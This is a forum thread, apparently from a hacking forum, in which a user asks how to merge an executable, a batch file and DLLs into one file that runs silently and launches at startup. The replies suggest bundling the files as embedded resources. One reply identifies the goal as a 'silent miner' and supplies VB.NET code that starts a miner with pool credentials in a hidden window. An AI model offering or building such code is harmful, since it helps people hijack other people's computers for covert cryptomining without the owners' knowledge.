Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Put 2 Files together, add them to startup, make them silent HOW ?

Heyo,
I got 2 mail files + 2 DLL's

The main files are 1 exe & 1 batch.

The exe mustnt be opened. Just the batch (the batch will start the exe with some commands)

All needs to get put together 1 one file, that if the file gets opened, the batch starts the exe in it & uses the DLL files.

Also the Features that it runs silent in background & starts with the pc needs to get added.

If you can do that, pls post here or PM me :)
Im not sure about a thing: "the batch starts the exe in it"
A .bat wich starts an exe in your stub?!? Btw i can help if you need...

[Image: Lymnm1L.jpg]

Ok so create a third app... Take both of your currents apps put them in resources. Upon launching the app have it extract both of the files in resources to a destination on the computer and have it run the .bat first? Shouldn't be hard at all?
So probably by what you are saying, you have an application that works with arguments and it uses two dll's and you call it via batch, correct ?

If that is true, than just call the app from a vb.net application and follow this tutorial by Madara-Uchina: https://hackforums.net/showthread.php?tid=3762223 to hide the dll's in the application along with the exe.
Are you paying for someone to code this?
If you are send me a pm :)
So the first thing you can do is get rid of that .bat and just use vb to run it with arguments, It seems like you are trying to make a silent miner so I'll use one of my old ones for an example.
Code
Dim startInfo As New ProcessStartInfo("C:\PathToYourFile\Miner.exe")
  startInfo.Arguments = "-o http://www.SomeRandomPool.com:PORT/ -O Username:Password"
Then if you wanted the window to not show up when it is launched you would but this bit in:
Code
startInfo.WindowStyle = ProcessWindowStyle.Hidden
Then put this somewhere to launch the actual .exe:
Code
Process.Start(startInfo)
Now your code should look something like this:
Code
Dim startInfo As New ProcessStartInfo("C:\PathToYourFile\Miner.exe")
  startInfo.Arguments = "-o http://www.SomeRandomPool.com:PORT/ -O Username:Password"
  startInfo.WindowStyle = ProcessWindowStyle.Hidden
  Process.Start(startInfo)

(This is using CudaMiner by the way so the arguments might be different for different miners)


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by ArcticSlayApr 13, 2020 12:37 AM 7 325 Apr 13, 2020 12:37 AM
Last Post: Mohinder
[C#] by PaskowskyOct 15, 2019 01:28 AM 0 228 Oct 15, 2019 01:28 AM
Last Post: Paskowsky
[Shell] by f4keg0dSep 13, 2019 05:35 AM 2 232 Sep 13, 2019 05:35 AM
Last Post: f4keg0d